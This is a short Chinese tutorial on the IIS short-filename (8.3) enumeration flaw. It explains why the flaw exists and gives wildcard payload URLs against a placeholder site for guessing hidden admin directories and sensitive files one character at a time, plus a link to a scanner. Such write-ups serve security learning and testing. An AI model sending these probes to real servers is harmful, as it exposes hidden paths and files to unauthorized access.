一、漏洞的成因
为了兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名。
在Windows下查看对应的短文件名,可以使用命令 dir /x
短文件名有如下特征:
1.只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件,像前六位相同的话,而且后缀前3位必须相同。
2.后缀名最长只有3位,多余的被截断。
我们可以启用.net的iis下暴力列举短文件名,原因是:
1.访问构造的某个存在的短文件名,会返回404
2.访问构造的某个不存在的短文件名,会返回400
二、漏洞的利用
需要使用到通配符*。*可以匹配n个字符,n可以为0.判断某站点是否存在iis段文件名暴力破解,构造payload,分别访问以下两个url
1.http://www.xxxx.com/*~1***/a.aspx
2.http://www.xxxx.com/dad*~1***/a.aspx
如果404 则文件存在
继续猜解
http://www.xxxx.com/a*~1***/a.aspx 404
http://www.xxxx.com/ad*~1***/a.aspx 404
http://www.xxxx.com/adm*~1***/a.aspx
依次类推,一个一个枚举就可以进行下去
注意:如果admin开头的是一个文件夹,则
http://www.xxxx.com/admin*~1/a.aspx 会是404的
继续猜解
http://www.xxxx.com/admin*~1*g*/a.aspx
如果404,则扩展名肯定有g,按这个思路继续
三、实际用处
1.猜后台
2.猜敏感文件
3.一些情况,可以通过短文件名直接下载对应的文件
四、局限性
只能猜6位,以及扩展名前3位
名称较短的文件是没有相应的短文件名的
需要iis和.net两个条件都满足
exp:https://github.com/lijiejie/IIS_shortname_Scanner
感谢李姐姐,原文地址http://www.lijiejie.com/iis-win8-3-shortname-brute/